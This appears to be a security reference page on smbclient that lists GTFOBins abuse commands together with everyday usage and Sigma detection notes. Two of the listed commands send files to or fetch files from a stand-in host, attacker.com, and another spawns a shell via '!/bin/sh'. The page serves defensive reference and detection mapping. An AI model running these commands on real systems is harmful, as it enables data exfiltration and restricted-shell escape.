CmdID

CmdID / Programs / Linux and Unix

smbclient

FTP-like client to access SMB/CIFS resources on servers. tldr-pages

GTFOBins download, upload 1 ATT&CK technique 3 documented commands

Opens CmdID with your command. It is read in your browser and sent nowhere.

How smbclient is abused

documented by GTFOBins

download T1105 Ingress Tool Transfer

-c

upload

-c

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for smbclient.

3 documented commands

from GTFOBins, each read by CmdID

download unprivileged, with sudo

smbclient '\\attacker.com\share' -c 'get /path/to/input-file /path/to/output-file'
Identify

shell unprivileged, with sudo

A valid SMB/CIFS server must be available.

smbclient '\\host\share'
!/bin/sh
Identify

upload unprivileged, with sudo

smbclient '\\attacker.com\share' -c 'put /path/to/input-file /path/to/output-file'
Identify

None of the 3 commands CmdID reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for smbclient. CmdID reads the line of each that runs smbclient.

What detects it

Sigma process creation rules
T1105Ingress Tool Transfer

Everyday use

from tldr-pages, CC BY 4.0

List available shares on a server anonymously

smbclient --list server --no-passIdentify

Connect to a share (will prompt for a password)

smbclient //server/shareIdentify

Connect to a share as a specific user

smbclient --user domain/username //server/shareIdentify

None of the 3 examples CmdID reads matches GTFOBins abuse or trips a Sigma process-creation rule.